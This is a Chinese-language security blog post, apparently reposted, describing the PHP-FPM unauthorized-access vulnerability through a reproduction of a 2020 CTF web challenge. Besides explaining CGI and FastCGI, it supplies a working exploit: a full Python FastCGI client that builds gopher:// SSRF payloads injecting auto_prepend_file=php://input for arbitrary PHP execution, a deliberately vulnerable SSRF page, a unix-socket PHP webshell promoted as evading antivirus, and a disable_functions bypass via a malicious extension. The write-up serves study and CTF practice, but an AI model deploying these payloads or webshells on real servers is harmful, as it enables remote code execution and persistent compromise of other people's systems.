PHP-FPM未授權訪問漏洞


這是在復現西湖論劍2020的NewUpload時學習到的知識點,覺得很有趣就記錄下來了。

0x01 起因

參考文章:西湖論劍Web之NewUpload(黑白之道)
划水時間看着師傅的WriteUp時,發現了如下讓我不解的操作(我這感人知識面)。本着菜就要多讀書的原則,開始了一探究竟。



0x02 深究

根據文章中提供的參考鏈接也了解到了這個操作,是“PHP-FPM未授權訪問漏洞”。接下來需要一步步了解什么是PHP-FPM,下面我直接把前輩們文章的介紹搬過來,方面大家看。

Web服務器與PHP之間的連接方式

Apache2-module

把 php 當做 apache 的一個模塊,實際上 php 就相當於 apache 中的一個 dll 或一個 so 文件。

CGI模式

此時 php 是一個獨立的進程比如 php-cgi.exe,web 服務器也是一個獨立的進程比如 apache.exe,然后當 Web 服務器監聽到 HTTP 請求時,會去調用 php-cgi 進程,他們之間通過 cgi 協議,服務器把請求內容轉換成 php-cgi 能讀懂的協議數據傳遞給 cgi 進程,cgi 進程拿到內容就會去解析對應 php 文件,得到的返回結果在返回給 web 服務器,最后 web 服務器返回到客戶端,但隨着網絡技術的發展,CGI 方式的缺點也越來越突出。每次客戶端請求都需要建立和銷毀進程。因為 HTTP 要生成一個動態頁面,系統就必須啟動一個新的進程以運行 CGI 程序,不斷地 fork 是一項很消耗時間和資源的工作。

FsatCGI模式

fastcgi 本身還是一個協議,在 cgi 協議上進行了一些優化,眾所周知,CGI 進程的反復加載是 CGI 性能低下的主要原因,如果 CGI 解釋器保持在內存中 並接受 FastCGI 進程管理器調度,則可以提供良好的性能、伸縮性、Fail-Over 特性等等。

簡而言之,CGI 模式是 apache2 接收到請求去調用 CGI 程序,而 fastcgi 模式是 fastcgi 進程自己管理自己的 cgi 進程,而不再是 apache 去主動調用 php-cgi,而 fastcgi 進程又提供了很多輔助功能比如內存管理,垃圾處理,保障了 cgi 的高效性,並且 CGI 此時是常駐在內存中,不會每次請求重新啟動。

PHP-FPM

這個大家肯定都不陌生,在 linux 下裝 php 環境的時候,經常會用到 php-fpm,那 php-fpm 是什么?

上面提到,fastcgi 本身是一個協議,那么就需要有一個程序去實現這個協議,php-fpm 就是實現和管理 fastcgi 協議的進程,fastcgi 模式的內存管理等功能,都是由 php-fpm 進程所實現的

下面引用 p 師傅的博客文章:

Nginx 等服務器中間件將用戶請求按照 fastcgi 的規則打包好通過 TCP 傳給誰?其實就是傳給 FPM。
FPM 按照 fastcgi 的協議將 TCP 流解析成真正的數據。
舉個例子,用戶訪問http://127.0.0.1/index.php?a=1&b=2,如果 web 目錄是/var/www/html,那么 Nginx 會將這個請求變成如下 key-value 對:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
這個數組其實就是 PHP 中$_SERVER數組的一部分,也就是 PHP 里的環境變量。但環境變量的作用不僅是填充$_SERVER數組,也是告訴 fpm:“我要執行哪個 PHP 文件”。
PHP-FPM 拿到 fastcgi 的數據包后,進行解析,得到上述這些環境變量。然后,執行SCRIPT_FILENAME的值指向的 PHP 文件,也就是/var/www/html/index.php。

本質上 fastcgi 模式也只是對 cgi 模式做了一個封裝,本質上只是從原來 web 服務器去調用 cgi 程序變成了 web 服務器通知 php-fpm 進程並由 php-fpm 進程去調用 php-cgi 程序。

PHP-FPM未授權漏洞

PHP-FPM工作時,默認監聽9000端口,用於接收Web服務器發送過來的FastCGI協議數據。而當我們能夠通過任意方式訪問到PHP-FPM的9000端口時,就可以構造數據包通過給SCRIPT_FILENAME賦值,達到執行任意PHP文件的目的了。但是由於FPM某版本后配置文件添加了security.limit_extensions選項,用於指定解析文件的后綴,並且默認值為.php,這樣讓我們無法通過任意文件包含達到代碼執行的效果。

不過問題不大,因為我們可以通過fastcgi協議的PHP_VALUE和PHP_ADMIN_VALUE(PHP_VALUE可以設置模式為PHP_INI_USER和PHP_INI_ALL的選項,PHP_ADMIN_VALUE可以設置所有選項)來修改php配置中的絕大多數配置項,但這里不包括disable_functions。

那我們可以通過修改哪些配置項來達到獲取更大威脅的目的呢?答案在下面兩個配置項:

auto_prepend_file:用於指定在執行目標PHP文件之前,先包含指定文件。
auto_append_file:用於指定在執行目標PHP文件之后,包含指定文件。

我們可以通過設置auto_prepend_file=php://input,再從POST傳入PHP代碼的方式來達到執行任意代碼的效果。(php://input是獲取POST中的內容,但需要設置allow_url_include = On)
此時的fastcgi協議數據包大概結構如下:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

根據上面所講的內容,參考p牛寫好的exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

0x03復現

TCP模式

了解完原理就復現一下,我這里用的是CentOS7+寶塔。由於Apache默認是通過模塊的方式加載PHP,而Nginx是通過cgi方式,所以我通過寶塔安裝Nginx+php7.4。
這里還需要說一點,Nginx與PHP-FPM之間有兩種通信方式:

TCP模式:即是 php-fpm 進程會監聽本機上的一個端口(默認 9000),然后 nginx 會把客戶端數據通過 fastcgi 協議傳給 9000 端口,php-fpm 拿到數據后會調用 cgi 進程解析。
Unix Socket模式:unix socket 其實嚴格意義上應該叫 unix domain socket,它是 unix 系統進程間通信(IPC)的一種被廣泛采用方式,以文件(一般是.sock)作為 socket 的唯一標識(描述符),需要通信的兩個進程引用同一個 socket 描述符文件就可以建立通道進行通信了。

默認情況下是Unix Socket模式,所以我們還需要修改為TCP模式(我這里是寶塔默認安裝的配置文件路徑):
PHP-FPM配置:/www/server/php/74/etc/php-fpm.conf

[global]
pid = /www/server/php/74/var/run/php-fpm.pid
error_log = /www/server/php/74/var/log/php-fpm.log
log_level = notice

[www]
listen = 0.0.0.0:9000   // 修改這里,全接口監聽9000
listen.backlog = 8192
listen.owner = www
listen.group = www
listen.mode = 0666
user = www
group = www
pm = dynamic
pm.status_path = /phpfpm_74_status
pm.max_children = 200
pm.start_servers = 15
pm.min_spare_servers = 15
pm.max_spare_servers = 30
request_terminate_timeout = 100
request_slowlog_timeout = 30
slowlog = var/log/slow.log

Nginx配置:/www/server/nginx/conf/enable-php-74.conf

location ~ [^/]\.php(/|$)
{
        try_files $uri =404;
        fastcgi_pass 127.0.0.1:9000;    // 修改這里,指定fastcgi在127.0.0.1的9000端口
        fastcgi_index index.php;
        include fastcgi.conf;
        include pathinfo.conf;
}

修改完成后重啟Nginx和PHP,重啟PHP后會發現寶塔面板的PHP一直是停止狀態,不要慌,其實此時服務器已經開始監聽9000,且能正常解析php文件。

環境配置好了,但我們還需要指定一個存在的PHP文件,否則fastcgi也無法正常執行下去。但是在實際情況下我們可能不知道站點的絕對路徑,不過安裝php時會生成一些php文件,這些文件的路徑是我們可能能夠預料到的。

但是我寶塔安裝的環境找不到這些文件,所以我就隨便指定一個文件了。
一切准備就緒,就可以用上面給出的p師傅的exp來試試了:

TCP模式 SSRF

在PHP-FPM端口沒有對外開放的情況下,我們還可以通過尋找SSRF配合Gopher來進行攻擊。
首先我們造個SSRF:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

再通過evoA師傅的魔改腳本生成payload:

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)


將生成的payload進行一次url編碼后,開始利用。

Unix Socket模式

在Unix Socket模式下是不是就沒轍了呢?其實差不多就沒轍了,但是非要做的話也是OK的。
首先需要將模式改回Unix Socket模式:
/www/server/nginx/confenable-php-74.conf

location ~ [^/]\.php(/|$)
{
        try_files $uri =404;
        fastcgi_pass unix:/tmp/php-cgi-74.sock;
        fastcgi_index index.php;
        include fastcgi.conf;
        include pathinfo.conf;
}

/www/server/php/74/etc/php-fpm.conf

[global]
pid = /www/server/php/74/var/run/php-fpm.pid
error_log = /www/server/php/74/var/log/php-fpm.log
log_level = notice

[www]
listen = /tmp/php-cgi-74.sock
listen.backlog = 8192
listen.owner = www
listen.group = www
listen.mode = 0666
user = www
group = www
pm = dynamic
pm.status_path = /phpfpm_74_status
pm.max_children = 200
pm.start_servers = 15
pm.min_spare_servers = 15
pm.max_spare_servers = 30
request_terminate_timeout = 100
request_slowlog_timeout = 30
slowlog = var/log/slow.log

假設場景,能夠上傳php文件或者執行代碼,將下面的EXP上傳到服務器:

<?php
	$sock=stream_socket_client('unix:///tmp/php-cgi-74.sock');
        fwrite($sock, base64_decode($_GET['cmd']));
	var_dump(fread($sock, 4096));

將p牛的EXP魔改一下,只輸出生成的payload的base64數據:
__connect()寫成恆返回真

將payload進行base64編碼后輸出,並結束程序執行

生成payload:

這可以作為一個有環境要求的免殺webshell,穩妥妥的免殺。還有一種情況是bypass disable_functions,就如最開始看NewUpload的WriteUp中的操作,通過使用PHP_ADMIN_VALUE設置extension = /tmp/sky.so,將自編譯的sky.so當成模塊加載,最終達到命令執行的效果。

ps:如文章存在錯誤,辛苦各位師傅多指點,謝謝~

0x04 參考鏈接

PHP 連接方式介紹以及如何攻擊 PHP-FPM(evoA)
Fastcgi協議分析 && PHP-FPM未授權訪問漏洞 && Exp編寫(PHITHON)
西湖論劍Web之NewUpload(黑白之道)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM